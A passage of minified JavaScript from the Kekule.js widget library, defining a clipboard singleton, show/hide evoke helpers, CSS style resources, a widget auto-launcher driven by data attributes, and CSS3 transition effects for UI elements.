t}}),Kekule.ClassUtils.makeSingleton(Kekule.Widget.Clipboard),Kekule.Widget.clipboard=Kekule.Widget.Clipboard.getInstance()}(),function(){Kekule.Widget.EvokeMode={ALWAYS:0,EVOKEE_CLICK:1,EVOKEE_MOUSE_ENTER:2,EVOKEE_MOUSE_LEAVE:3,EVOKEE_MOUSE_DOWN:4,EVOKEE_MOUSE_UP:5,EVOKEE_MOUSE_MOVE:6,EVOKEE_TOUCH:7,EVOKER_CLICK:11,EVOKER_MOUSE_ENTER:12,EVOKER_MOUSE_LEAVE:13,EVOKER_MOUSE_DOWN:14,EVOKER_MOUSE_UP:15,EVOKER_MOUSE_MOVE:16,EVOKER_TOUCH:17,EVOKEE_TIMEOUT:21,EVOKER_TIMEOUT:22};var e=Kekule.Widget.EvokeMode;Kekule.Widget.DynamicEvokeHelper=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.DynamicEvokeHelper",evokeEvents:["click","mouseenter","mouseleave","mousedown","mouseup","touchstart"],DEF_TIMEOUT:5e3,initialize:function(e,t,i,n,s){this.tryApplySuper("initialize"),this._timeoutRevokeHandle=null,this.reactEvokeEventsBind=this.reactEvokeEvents.bind(this),this.checkTimeoutRevokeBind=this.checkTimeoutRevoke.bind(this),this.setTimeout(s||this.DEF_TIMEOUT),this.setPropStoreFieldValue("evokeModes",i||[]),this.setPropStoreFieldValue("revokeModes",n||[]),this.linkWidgets(e,t)},finalize:function(){this.unlinkWidgets(this.getEvokee(),this.getEvoker()),this.tryApplySuper("finalize")},initProperties:function(){this.defineProp("evokee",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:null}),this.defineProp("evoker",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:null}),this.defineProp("evokeModes",{dataType:DataType.ARRAY}),this.defineProp("revokeModes",{dataType:DataType.ARRAY}),this.defineProp("timeout",{dataType:DataType.INT}),this.defineProp("showHideType",{dataType:DataType.INT})},evoke:function(){this.getEvoker()&&(clearTimeout(this._timeoutRevokeHandle),this.getEvoker().show(this.getEvokee(),null,this.getShowHideType()),this.postponeTimeoutCheck())},revoke:function(){this.getEvoker()&&(clearTimeout(this._timeoutRevokeHandle),this.getEvoker().getDocument().body.focus(),this.getEvoker().hide(this.getEvokee(),null,this.getShowHideType()))},doObjectChange:function(e){this.tryApplySuper("doObjectChange",[e]),Kekule.ArrayUtils.intersect(e,["evokeModes","revokeModes"]).length>0&&this.evokeModesChanged()},linkWidgets:function(e,t){this.setPropStoreFieldValue("evokee",e),this.setPropStoreFieldValue("evoker",t),this.installEventHandlers(e,this.evokeEvents,this.reactEvokeEventsBind),this.installEventHandlers(t,this.evokeEvents,this.reactEvokeEventsBind),this.updateOnAlwaysMode()},unlinkWidgets:function(e,t){this.uninstallEventHandlers(e,this.evokeEvents,this.reactEvokeEventsBind),this.uninstallEventHandlers(t,this.evokeEvents,this.reactEvokeEventsBind)},installEventHandlers:function(e,t,i){for(var n=0,s=t.length;n<s;++n)e.addEventListener(t[n],i)},uninstallEventHandlers:function(e,t,i){for(var n=0,s=t.length;n<s;++n)e.removeEventListener(t[n],i)},evokeModesChanged:function(){this.updateOnAlwaysMode()},updateOnAlwaysMode:function(){this.getEvokeModes().indexOf(e.ALWAYS)>=0?this.evoke():this.getRevokeModes().indexOf(e.ALWAYS)>=0&&this.revoke()},checkTimeoutRevoke:function(t){if(this.getEvoker()){var i=Kekule.DomUtils,n=this.getEvoker().getDocument().activeElement,s=this.getRevokeModes(),r=[];s.indexOf(e.EVOKEE_TIMEOUT)>=0&&r.push(this.getEvokee().getElement()),s.indexOf(e.EVOKER_TIMEOUT)>=0&&r.push(this.getEvoker().getElement());for(var a=!1,o=0,l=r.length;o<l;++o){var u=r[o];if(n===u||i.isDescendantOf(n,u)){a=!0;break}}a?this.postponeTimeoutCheck():this.revoke()}},postponeTimeoutCheck:function(){if(this.hasTimeoutMode(this.getRevokeModes())){if(this.getEvokeModes().indexOf(e.ALWAYS)>=0)return;this._timeoutRevokeHandle=setTimeout(this.checkTimeoutRevokeBind,this.getTimeout())}},hasTimeoutMode:function(t){return Kekule.ArrayUtils.intersect([e.EVOKEE_TIMEOUT,e.EVOKER_TIMEOUT],t).length>0},getEventTypeOfMode:function(t){switch(t){case e.EVOKEE_CLICK:case e.EVOKER_CLICK:return"click";case e.EVOKEE_MOUSE_ENTER:case e.EVOKER_MOUSE_ENTER:return"mouseenter";case e.EVOKEE_MOUSE_LEAVE:case e.EVOKER_MOUSE_LEAVE:return"mouseleave";case e.EVOKEE_MOUSE_DOWN:case e.EVOKER_MOUSE_DOWN:return"mousedown";case e.EVOKEE_MOUSE_UP:case e.EVOKER_MOUSE_UP:return"mouseup";case e.EVOKEE_MOUSE_MOVE:case e.EVOKER_MOUSE_MOVE:return"mousemove";case e.EVOKEE_TOUCH:case e.EVOKER_TOUCH:return"touchstart"}},isEvokeTargetOnEvokee:function(t){return t>=e.EVOKEE_CLICK&&t<=e.EVOKEE_TOUCH},reactEvokeEvents:function(t){var i=t.htmlEvent.getType(),n=t.target;if(n===this.getEvokee()||n===this.getEvoker()){var s=t.target===this.getEvokee();if(!this.getEvoker().isShown()){if(this.getRevokeModes().indexOf(e.ALWAYS)>=0)return;for(var r=0,a=(o=this.getEvokeModes()).length;r<a;++r)if(s===this.isEvokeTargetOnEvokee(o[r])&&i===this.getEventTypeOfMode(o[r]))return void this.evoke()}else{if(this.getEvokeModes().indexOf(e.ALWAYS)>=0)return;var o;for(r=0,a=(o=this.getRevokeModes()).length;r<a;++r)if(s===this.isEvokeTargetOnEvokee(o[r])&&i===this.getEventTypeOfMode(o[r]))return void this.revoke()}}}})}(),function(){"use strict";var e=Kekule.HtmlElementUtils;Kekule.Widget.StyleResource=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.StyleResource",initialize:function(e,t){this.tryApplySuper("initialize"),this.setPropStoreFieldValue("name",e),t&&this.setCssClassName(t)},initProperties:function(){this.defineProp("name",{dataType:DataType.STRING,setter:null}),this.defineProp("cssClassName",{dataType:DataType.STRING})},linkTo:function(t){return e.addClass(this._getElement(t),this.getCssClassName()),this},unlinkFrom:function(t){e.removeClass(this._getElement(t),this.getCssClassName())},_getElement:function(e){return e instanceof Kekule.Widget.BaseWidget?e.getElement():e}}),Kekule.Widget.StyleResourceManager={_resources:{},register:function(e){var i=e.getName();return i&&(t._resources[i]=e),t},unregister:function(e){var i;return"string"==typeof e?i=e:e.getName&&(i=e.getName()),i&&delete t._resources[i],t},getResource:function(e){return t._resources[e]}},Kekule.Widget.StyleResourceNames={PREFIX:"$$",CURSOR_ROTATE:"$$cursor_rotate",CURSOR_ROTATE_NE:"$$cursor_rotate_ne",CURSOR_ROTATE_NW:"$$cursor_rotate_nw",CURSOR_ROTATE_SE:"$$cursor_rotate_se",CURSOR_ROTATE_SW:"$$cursor_rotate_sw",ICON_COLOR_PICK:"$$icon_color_pick",ICON_COLOR_NOTSET:"$$icon_color_default",ICON_COLOR_MIXED:"$$icon_color_mixed",BUTTON_YES_OK:"$$btn_yes_ok",BUTTON_NO_CANCEL:"$$btn_no_cancel",BUTTON_RESET:"$$btn_reset",BUTTON_LOAD_FILE:"$$btn_load_file",ICON_REMOVE:"$$icon_remove"};var t=Kekule.Widget.StyleResourceManager,i=Kekule.Widget.StyleResource,n=Kekule.Widget.StyleResourceNames;t.register(new i(n.CURSOR_ROTATE,"K-Res-Cursor-Rotate")),t.register(new i(n.CURSOR_ROTATE_NE,"K-Res-Cursor-Rotate-NE")),t.register(new i(n.CURSOR_ROTATE_NW,"K-Res-Cursor-Rotate-NW")),t.register(new i(n.CURSOR_ROTATE_SE,"K-Res-Cursor-Rotate-SE")),t.register(new i(n.CURSOR_ROTATE_SW,"K-Res-Cursor-Rotate-SW")),t.register(new i(n.ICON_COLOR_PICK,"K-Res-Icon-Color-Pick")),t.register(new i(n.ICON_COLOR_NOTSET,"K-Res-Icon-Color-NotSet")),t.register(new i(n.ICON_COLOR_MIXED,"K-Res-Icon-Color-Mixed")),t.register(new i(n.BUTTON_YES_OK,"K-Res-Button-YesOk")),t.register(new i(n.BUTTON_NO_CANCEL,"K-Res-Button-NoCancel")),t.register(new i(n.BUTTON_RESET,"K-Res-Button-Reset")),t.register(new i(n.BUTTON_LOAD_FILE,"K-Res-Button-LoadFile")),t.register(new i(n.ICON_REMOVE,"K-Res-Icon-Remove"))}(),function(){var e=Kekule.DomUtils;Kekule.ArrayUtils;Kekule.Widget.AutoLauncher=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.AutoLauncher",WIDGET_ATTRIB:"data-widget",WIDGET_ATTRIB_ALT:"data-kekule-widget",PLACEHOLDER_ATTRIB:"data-placeholder",FIELD_PARENT_WIDGET_ELEM:"__$kekule_parent_widget_elem$__",initialize:function(){this.tryApplySuper("initialize"),this._executingFlag=0,this._pendingWidgetRefMap=new Kekule.MapEx(!0),this._pendingElems=[],this._handlingPendings=!1,this._execOnPendingBind=this._execOnPending.bind(this);var e=this;Kekule.Widget.Utils._setWidgetRefPropFromId=function(t,i,n){if(n){var s=Kekule.Widget.getWidgetById(n,t.getDocument());if(s)t.setPropValue(i,s);else{var r=t.getDocument().getElementById(n);r&&e.isExecuting()&&e.addPendingWidgetRefItem(r,t,i)}}}},finalize:function(){this._pendingElems=null,this._pendingWidgetRefMap=null,this.tryApplySuper("finalize")},getPendingElems:function(){return this._pendingElems},addPendingElem:function(e,t,i,n,s){this._pendingElems.push({doc:e,elem:t,parent:i,widgetClass:n,execOnChildren:s})},handlePendingElems:function(e){if(!this._handlingPendings){if(this._handlingPendings=!0,e)this._pendingElems.push({callback:e});this.beginExec(),setTimeout(this._execOnPendingBind,0)}},_execOnPending:function(){var e=this._pendingElems.shift();if(e)try{e.elem?this.createWidgetOnElem(e.doc,e.elem,e.parent):e.callback&&setTimeout(e.callback,0)}finally{setTimeout(this._execOnPendingBind,0)}else this._handlingPendings=!1,this.endExec()},getPendingWidgetRefMap:function(){return this._pendingWidgetRefMap},addPendingWidgetRefItem:function(e,t,i){this._pendingWidgetRefMap.set(e,{widget:t,propName:i})},removePendingWidgetRefItem:function(e){this._pendingWidgetRefMap.remove(e)},handlePendingWidgetRef:function(){for(var e=this._pendingWidgetRefMap.getKeys(),t=0,i=e.length;t<i;++t){var n=e[t],s=Kekule.Widget.getWidgetOnElem(n);if(s){var r=this._pendingWidgetRefMap.get(n);r.widget.setPropValue(r.propName,s)}this.removePendingWidgetRefItem(n)}},beginExec:function(){++this._executingFlag},endExec:function(){this._executingFlag>0&&--this._executingFlag,this._executingFlag<=0&&this.handlePendingWidgetRef()},isExecuting:function(){return this._executingFlag>0},execute:function(e,t,i){var n=Kekule.ObjUtils.notUnset(t)?t:Kekule.Widget.AutoLauncher.deferring;n||this.beginExec();try{"function"==typeof e.querySelector?this.executeOnElemBySelector(e.ownerDocument,e,null,n):this.executeOnElem(e.ownerDocument,e,null,n),n&&this.handlePendingElems(i)}finally{n||(this.endExec(),i&&i())}},executeOnElem:function(t,i,n,s){if(this.isElemLaunchable(i)){var r=null,a=this.getElemWidgetClass(i),o=n;if(s)a&&(this.addPendingElem(t,i,n,a,!1),o=i);else{var l=n;!l||l instanceof Kekule.Widget.BaseWidget||(l=Kekule.Widget.getWidgetOnElem(n)),o=(r=this.createWidgetOnElem(t,i,l,a))||i}if(s&&!a||!s&&!r||Kekule.Widget.AutoLauncher.enableCascadeLaunch)for(var u=e.getDirectChildElems(i),d=0,h=u.length;d<h;++d){var g=u[d];this.executeOnElem(t,g,o,s)}}},executeOnElemBySelector:function(e,t,i,n){var s="["+this.WIDGET_ATTRIB+"],["+this.WIDGET_ATTRIB_ALT+"]",r=t.querySelectorAll(s);if(this.getElemWidgetClass(t)&&(r=Array.prototype.slice.call(r)).unshift(t),r&&r.length){for(var a=0,o=r.length;a<o;++a){var l=r[a],u=this._findParentCandidateElem(l,r,0,a-1);u&&(l[this.FIELD_PARENT_WIDGET_ELEM]=u)}for(a=0,o=r.length;a<o;++a){l=r[a];if(this.isElemLaunchable(l)){var d=l[this.FIELD_PARENT_WIDGET_ELEM]||null;!Kekule.Widget.AutoLauncher.enableCascadeLaunch&&d||(n?this.addPendingElem(e,l,d,null,!1):this.createWidgetOnElem(e,l,d))}}}},_findParentCandidateElem:function(e,t,i,n){for(var s=null,r=e.parentNode;r&&!s;){for(var a=n;a>=i;--a)if(r===t[a])return s=t[a];s||(r=r.parentNode)}return s},createWidgetOnElem:function(e,t,i,n){var s=null,r=Kekule.Widget.getWidgetOnElem(t);if(r)return r;if(n||(n=this.getElemWidgetClass(t)),n){var a=Kekule.Widget.AutoLauncher,o=!1;if(a.placeHolderStrategy!==a.PlaceHolderStrategies.DISABLED){var l=t.getAttribute(this.PLACEHOLDER_ATTRIB)||"";o=(o=a.placeHolderStrategy===a.PlaceHolderStrategies.EXPLICIT&&Kekule.StrUtils.strToBool(l)||a.placeHolderStrategy===a.PlaceHolderStrategies.IMPLICIT)&&ClassEx.getPrototype(n).canUsePlaceHolderOnElem(t)}if(s=o?new Kekule.Widget.PlaceHolder(t,n):new n(t)){var u=i;!u||u instanceof Kekule.Widget.BaseWidget||(u=Kekule.Widget.getWidgetOnElem(i)),u&&s.setParent(u)}}return s},isElemLaunchable:function(e){return!(e.isContentEditable&&!Kekule.HtmlElementUtils.isFormCtrlElement(e)&&!Kekule.Widget.AutoLauncher.enableOnEditable)},getElemWidgetClass:function(e){var t=null,i=e.getAttribute(this.WIDGET_ATTRIB);return i||(i=e.getAttribute(this.WIDGET_ATTRIB_ALT)),i&&(t=this.getWidgetClass(i)),t},getWidgetClass:function(e){return ClassEx.findClass(e)}}),Kekule.ClassUtils.makeSingleton(Kekule.Widget.AutoLauncher),Kekule.Widget.autoLauncher=Kekule.Widget.AutoLauncher.getInstance(),Kekule.Widget.AutoLauncher.PlaceHolderStrategies={DISABLED:"disabled",IMPLICIT:"implicit",EXPLICIT:"explicit"},Kekule.Widget.AutoLauncher.enabled=!0,Kekule.Widget.AutoLauncher.enableCascadeLaunch=!0,Kekule.Widget.AutoLauncher.enableDynamicDomCheck=!0,Kekule.Widget.AutoLauncher.enableOnEditable=!1,Kekule.Widget.AutoLauncher.placeHolderStrategy=Kekule.Widget.AutoLauncher.PlaceHolderStrategies.EXPLICIT,Kekule.Widget.AutoLauncher.deferring=!1,Kekule.Widget.WidgetsReady={isReady:!1,funcs:[],ready:function(e){t.isReady?e():t.funcs.push(e)},fireReady:function(){if(!t.isReady){t.isReady=!0;for(var e=t.funcs;e.length;){e.shift()()}}}};var t=Kekule.Widget.WidgetsReady;Kekule.Widget.ready=t.ready;var i=function(){if(!i.done)if(Kekule._isLoaded()){var e=Kekule.Widget.AutoLauncher.deferring?function(){Kekule.X.DomReady.resume()}:null,n=function(){try{t.fireReady()}finally{e&&e()}};if(Kekule.Widget.AutoLauncher.enabled?(Kekule.Widget.AutoLauncher.deferring&&Kekule.X.DomReady.suspend(),Kekule.Widget.autoLauncher.execute(document.body,null,n)):n(),Kekule.X.MutationObserver)new Kekule.X.MutationObserver(function(e){if(Kekule.Widget.AutoLauncher.enableDynamicDomCheck&&Kekule.Widget.AutoLauncher.enabled)for(var t=0,i=e.length;t<i;++t){var n=e[t];if("childList"===n.type)for(var s=n.addedNodes,r=0,a=s.length;r<a;++r){var o=s[r];o.nodeType===Node.ELEMENT_NODE&&Kekule.Widget.autoLauncher.execute(o)}}}).observe(document.body,{childList:!0,subtree:!0});else Kekule.X.Event.addListener(document,"DOMNodeInserted",function(e){if(Kekule.Widget.AutoLauncher.enableDynamicDomCheck&&Kekule.Widget.AutoLauncher.enabled){var t=e.getTarget();t.nodeType===(Node.ELEMENT_NODE||1)&&Kekule.Widget.autoLauncher.execute(t)}});i.done=!0}else Kekule._ready(i)};Kekule.X.domReady(i)}(),function(){var e=Kekule.Widget.Direction,t=Kekule.StyleUtils,i=Kekule.ArrayUtils;Kekule.Widget.BaseTransition=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.BaseTransition",initialize:function(){this.tryApplySuper("initialize")},initProperties:function(){this.defineProp("element",{dataType:DataType.OBJECT,serializable:!1}),this.defineProp("caller",{dataType:DataType.OBJECT,serializable:!1})},canExecute:function(e,t){return!0},prepare:function(e,t,i){},finish:function(e,t,i){},execute:function(e,t,i,n){this.setElement(e),t&&this.setCaller(t);var s=Object.extend({from:0,to:1},n),r=this,a=function(){a.__$applied__||(a.__$applied__=!0,r.finish(e,t,s),i&&i(),r.invokeEvent("finish"))};a.__$applied__=!1,this.prepare(e,t,s),this.invokeEvent("execute");r=this;var o={element:e,caller:t,callback:i,doneCallback:a,options:n,executor:this,halt:function(){r.halt(o)}};return this.doExecute(e,t,a,s),o},doExecute:function(e,t,i,n){},halt:function(e){e.executor!==this?e.executor.halt(e):(this.doHalt(e),e.doneCallback&&e.doneCallback(),this.invokeEvent("halt"))},doHalt:function(e){},setElementProp:function(e,t,i){},storeCssInlineValues:function(e,t){for(var i=e.style,n={},s=0,r=t.length;s<r;++s){var a=t[s];n[a]=i[a]}return n},restoreCssInlineValues:function(e,t,i){for(var n=e.style,s=0,r=t.length;s<r;++s){var a=t[s];if(i[a])n[a]=i[a];else try{n.removeProperty(a)}catch(e){n[a]=""}}},storeCssComputedValues:function(e,i){for(var n={},s=0,r=i.length;s<r;++s){var a=i[s],o=t.getComputedStyle(e,a);n[a]=o}return n}}),Kekule.Widget.Css3TransitionRunner=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.Css3TransitionRunner",initProperties:function(){this.defineProp("parent",{dataType:"Kekule.Widget.BaseTransition"})},getCaller:function(){var e=this.getParent();return e&&e.getCaller()},getElement:function(){var e=this.getParent();return e&&e.getElement()},getAffectedCssPropNames:function(e){return[]},getTransCssPropNames:function(e){return[]},prepare:function(e,t,i){},setElementProp:function(e,t,i){}}),Kekule.Widget.Css3OpacityTransRunner=Class.create(Kekule.Widget.Css3TransitionRunner,{CLASS_NAME:"Kekule.Widget.Css3OpacityTransRunner",getAffectedCssPropNames:function(e){return["opacity"]},getTransCssPropNames:function(e){return["opacity"]},prepare:function(e,t,i){},setElementProp:function(e,t,i){var n=this.getParent();if(n){var s=parseFloat(n.getComputedCssValues().opacity)||1;e.style.opacity=s*t}}}),Kekule.Widget.Css3SlideTransRunner=Class.create(Kekule.Widget.Css3TransitionRunner,{CLASS_NAME:"Kekule.Widget.Css3SlideTransRunner",initialize:function(e){this.tryApplySuper("initialize"),Kekule.ObjUtils.notUnset(e)&&this.setDirection(e)},initProperties:function(){this.defineProp("direction",{dataType:DataType.INT})},prepare:function(e,i,n){t.setDisplay(e,!0),this._direction=this.getActualDirection(e,n),this.tryApplySuper("prepare",[e,i,n]),e.style.overflow="hidden",this._clearDimesionConstraints(e)},_clearDimesionConstraints:function(e){var t=e.style;t.minWidth="0",t.minHeight="0",t.maxWidth="none",t.maxHeight="none"},getComputedCssValues:function(){return this.getParent().getComputedCssValues()},setElementProp:function(i,n,s){var r,a=this._direction;if(e.isInHorizontal(a)){r=this.getComputedCssValues().width;var o=t.analysisUnitsValue(r);if(i.style.width=o.value*n+o.units,r=this.getComputedCssValues().left){var l=t.analysisUnitsValue(r);l.units===o.units&&(i.style.left=o.value*(1-n)+l.value+l.units)}}if(e.isInVertical(a)){r=this.getComputedCssValues().height;var u=t.analysisUnitsValue(r);if(i.style.height=u.value*n+u.units,r=this.getComputedCssValues().top){var d=t.analysisUnitsValue(r);d.units===u.units&&(i.style.top=u.value*(1-n)+d.value+d.units)}}},getAffectedCssPropNames:function(e){var t=[].concat(this.getTransCssPropNames(e));return t=t.concat(["overflow","min-width","min-height","max-width","max-height"])},getTransCssPropNames:function(t){var i=this.getActualDirection(this.getElement(),t),n=[];return e.isInHorizontal(i)&&(n.push("width"),i&e.RTL&&n.push("left")),e.isInVertical(i)&&(n.push("height"),i&e.BTT&&n.push("top")),n},getRefRect:function(e){return Kekule.Widget.TransitionUtils.getCallerRefRect(this.getCaller(),e)},getActualDirection:function(t,i){t||(t=this.getElement());var n=this.getDirection();return n&&n!==e.AUTO||(n=Kekule.Widget.TransitionUtils.getPreferredSlideDirection(t,this.getCaller(),i)),n}}),Kekule.Widget.Css3ClipPathSlideTransRunner=Class.create(Kekule.Widget.Css3TransitionRunner,{CLASS_NAME:"Kekule.Widget.Css3ClipPathSlideTransRunner",initialize:function(e){this.tryApplySuper("initialize"),Kekule.ObjUtils.notUnset(e)&&this.setDirection(e)},initProperties:function(){this.defineProp("direction",{dataType:DataType.INT})},prepare:function(e,t,i){this._direction=this.getActualDirection(e,i),this.tryApplySuper("prepare",[e,t,i])},setElementProp:function(t,i,n){var s=this._direction,r=100*(1-i)+"%",a=["0%","0%","0%","0%"];a[s===e.TTB?2:s===e.BTT?0:s===e.RTL?3:1]=r;var o="inset("+a.join(" ")+")";t.style.clipPath=o},getAffectedCssPropNames:function(e){return(this.tryApplySuper("getAffectedCssPropNames",[e])||[]).concat(["clip-path"])},getTransCssPropNames:function(e){return(this.tryApplySuper("getTransCssPropNames",[e])||[]).concat(["clip-path"])},getActualDirection:function(t,i){t||(t=this.getElement());var n=this.getDirection();return n&&n!==e.AUTO||(n=Kekule.Widget.TransitionUtils.getPreferredSlideDirection(t,this.getCaller(),i)),n}}),Kekule.Widget.Css3GrowTransRunner=Class.create(Kekule.Widget.Css3TransitionRunner,{CLASS_NAME:"Kekule.Widget.Css3GrowTransRunner",initialize:function(e){this.tryApplySuper("initialize"),e&&(e.ownerDocument?this.setBaseElement(e):this.setCaller(e))},initProperties:function(){this.defineProp("baseRect",{dataType:DataType.HASH})},getRefRect:function(e){var t=Kekule.HtmlElementUtils,i=null;return this.getBaseRect()?i=this.getBaseRect():this.getCaller()&&(i=t.getElemBoundingClientRect(this.getCaller(),!0),Kekule.RectUtils.isZero(i)&&(i=(e||{}).callerPageRect||null)),i||(i={x:0,y:0,width:0,height:0}),i},prepare:function(e,i,n){t.setDisplay(e,!0),this.tryApplySuper("prepare",[e,i,n]),e.style.overflow="hidden",Kekule.HtmlElementUtils.makePositioned(e);var s=this.getRefRect(n),r=Kekule.HtmlElementUtils.getElemBoundingClientRect(e,!0),a={x:r.x-s.x,y:r.y-s.y,width:r.width-s.width,height:r.height-s.height};this._delta=a,this._clearDimesionConstraints(e)},_clearDimesionConstraints:function(e){var t=e.style;t.minWidth="0",t.minHeight="0",t.maxWidth="none",t.maxHeight="none"},setElementProp:function(e,i,n){var s,r=this.getParent().getComputedCssValues(),a=this._delta,o=1-i,l=e.style;"px"===(s=t.analysisUnitsValue(r.left)).units&&(l.left=s.value-o*a.x+"px"),"px"===(s=t.analysisUnitsValue(r.top)).units&&(l.top=s.value-o*a.y+"px"),"px"===(s=t.analysisUnitsValue(r.width)).units&&(l.width=s.value-o*a.width+"px"),"px"===(s=t.analysisUnitsValue(r.height)).units&&(l.height=s.value-o*a.height+"px")},getAffectedCssPropNames:function(e){var t=[].concat(this.getTransCssPropNames(e));return t=t.concat(["overflow","min-width","min-height","max-width","max-height"])},getTransCssPropNames:function(e){return["left","top","width","height","position"]}}),Kekule.BrowserFeature&&Kekule.BrowserFeature.cssTranform&&(Kekule.Widget.Css3TransformTransRunner=Class.create(Kekule.Widget.Css3TransitionRunner,{CLASS_NAME:"Kekule.Widget.Css3TransformTransRunner",getAffectedCssPropNames:function(e){return["transform","transformOrigin"]},getTransCssPropNames:function(e){return["transform","transformOrigin"]},prepare:function(e,t,i){this.tryApplySuper("prepare",[e,t,i]);var n=Kekule.StyleUtils.getTransformMatrixValues(e);n&&(n.scaleX=n.a,n.scaleY=n.d),this._computedTransMatrixInfo=n},setElemTransform:function(e,t,i,n,s){var r=[n,0,0,s,t,i];Kekule.StyleUtils.setTransformMatrixArrayValues(e,r)}}),Kekule.Widget.Css3TransformGrowTransRunner=Class.create(Kekule.Widget.Css3TransformTransRunner,{CLASS_NAME:"Kekule.Widget.Css3TransformGrowTransRunner",initialize:function(e){this.tryApplySuper("initialize"),e&&(e.ownerDocument?this.setBaseElement(e):this.setCaller(e))},initProperties:function(){this.defineProp("baseRect",{dataType:DataType.HASH})},getRefRect:function(e){var t=Kekule.HtmlElementUtils,i=null;return this.getBaseRect()?i=this.getBaseRect():this.getCaller()&&(i=t.getElemBoundingClientRect(this.getCaller(),!0),Kekule.RectUtils.isZero(i)&&(i=(e||{}).callerPageRect||null)),i||(i={x:0,y:0,width:0,height:0}),i},prepare:function(e,i,n){t.setDisplay(e,!0),this.tryApplySuper("prepare",[e,i,n]),e.style.overflow="hidden",Kekule.HtmlElementUtils.makePositioned(e);var s=this.getRefRect(n),r=Kekule.HtmlElementUtils.getElemBoundingClientRect(e,!0),a={x:r.x-s.x,y:r.y-s.y};this._translateDelta=a,this._initialScale={x:s.width/r.width,y:s.height/r.height},this._computedTransMatrixInfo?(this._endScale={x:this._computedTransMatrixInfo.scaleX,y:this._computedTransMatrixInfo.scaleY},this._endTranslate={x:this._computedTransMatrixInfo.tx,y:this._computedTransMatrixInfo.ty}):(this._endScale={x:1,y:1},this._endTranslate={x:0,y:0})},setElementProp:function(e,t,i){this.getParent().getComputedCssValues();var n=this._translateDelta,s=this._initialScale,r=this._endScale,a={x:this._endTranslate.x-(1-t)*n.x,y:this._endTranslate.y-(1-t)*n.y},o={x:t*r.x+(1-t)*s.x,y:t*r.y+(1-t)*s.y};e.style.transformOrigin="0 0 0",this.setElemTransform(e,a.x,a.y,o.x,o.y)}})),Kekule.Widget.Css3Transition=Class.create(Kekule.Widget.BaseTransition,{CLASS_NAME:"Kekule.Widget.Css3Transition",initialize:function(){this.tryApplySuper("initialize")},initProperties:function(){this.defineProp("timingFunc",{dataType:DataType.STRING}),this.defineProp("childRunners",{dataType:DataType.ARRAY,serializable:!1}),this.defineProp("cssProperty",{dataType:DataType.STRING})},getRunners:function(){var e=this.getChildRunners();return e?i.toArray(e):[]},iterateRunners:function(e){for(var t=this.getRunners(),i=0,n=t.length;i<n;++i)e(t[i],i,t)},getAffectedCssPropNames:function(e){var t=[];return this.iterateRunners(function(e){var i=e.getAffectedCssPropNames()||[];t=t.concat(i)}),t},getTransCssPropNames:function(e){var t=[];return this.iterateRunners(function(e){var i=e.getTransCssPropNames()||[];t=t.concat(i)}),t},setElementProp:function(e,t,i){this.iterateRunners(function(n){n.setElementProp(e,t,i)})},canExecute:function(e,t){return!!Kekule.BrowserFeature.cssTransition},isSupported:function(){return!!Kekule.BrowserFeature.cssTransition},isAppear:function(e){return!!e.isAppear},isDisappear:function(e){return!!e.isDisappear},getTransitionPropValue:function(e,t){for(var i=[t,"Webkit"+t.capitalizeFirst(),"Moz"+t.capitalizeFirst()],n=null,s=0,r=i.length;s<r&&!(n=Kekule.StyleUtils.getComputedStyle(e,i[s]));++s);return n},setTransitionPropValue:function(e,t,i){for(var n=["Moz"+t.capitalizeFirst(),"Webkit"+t.capitalizeFirst(),t],s=0,r=n.length;s<r;++s)e[n[s]]=i},getOriginCssInlineValues:function(){return this._originCssInlineValues},getComputedCssValues:function(){return this._computedCssValues},prepare:function(e,t,i){this.tryApplySuper("prepare",[e,t,i]),this.setCssProperty(this.getTransCssPropNames(i).join(","));var n=this.getAffectedCssPropNames(i);this._affectedCssPropNames=n,this._originCssInlineValues=this.storeCssInlineValues(e,n),this._computedCssValues=this.storeCssComputedValues(e,n);var s=this;this.iterateRunners(function(n){n.setParent(s),n.prepare(e,t,i)})},finish:function(e,t,i){(1===i.to||this.isAppear(i)||this.isDisappear(i))&&this.restoreCssInlineValues(e,this._affectedCssPropNames,this._originCssInlineValues),this.tryApplySuper("finish",[e,t,i])},doExecute:function(e,t,i,n){var s=Kekule.StyleUtils,r=e.style;this.isAppear(n),this.isDisappear(n);if(this.isSupported()){this.setElementProp(e,n.from,n),s.isDisplayed(e)||s.setDisplay(e,!0),s.isVisible(e)||s.setVisibility(e,!0);var a,o=this.getCssProperty();this.setTransitionPropValue(r,"transitionProperty",o),(o=this.getTimingFunc()||n.timingFunc)&&this.setTransitionPropValue(r,"transitionTimingFunction",o),o=n.duration.toString()+"ms",this.setTransitionPropValue(r,"transitionDuration",o);var l=this,u=function(t){Kekule.X.Event.removeListener(e,"transitionend",u),l.setTransitionPropValue(r,"transition",""),a&&clearTimeout(a),i&&i()};this._currEventHandler=u,Kekule.X.Event.addListener(e,"transitionend",u),a=setTimeout(u,n.duration+100),setTimeout(function(){l.setElementProp(e,n.to,n)},0)}else{try{this.setElementProp(e,n.to,n)}catch(e){}i&&setTimeout(i,0)}},doHalt:function(e){var t=e.element;t&&this.setTransitionPropValue(t.style,"transitionProperty","none")}}),Kekule.Widget.Css3Transition.createConcreteClass=function(e,t){return Class.create(Kekule.Widget.Css3Transition,{CLASS_NAME:e,CHILD_RUNNER_CLASSES:i.toArray(t),initialize:function(){this.tryApplySuper("initialize");for(var e=[],t=0,i=this.CHILD_RUNNER_CLASSES.length;t<i;++t)e.push(new 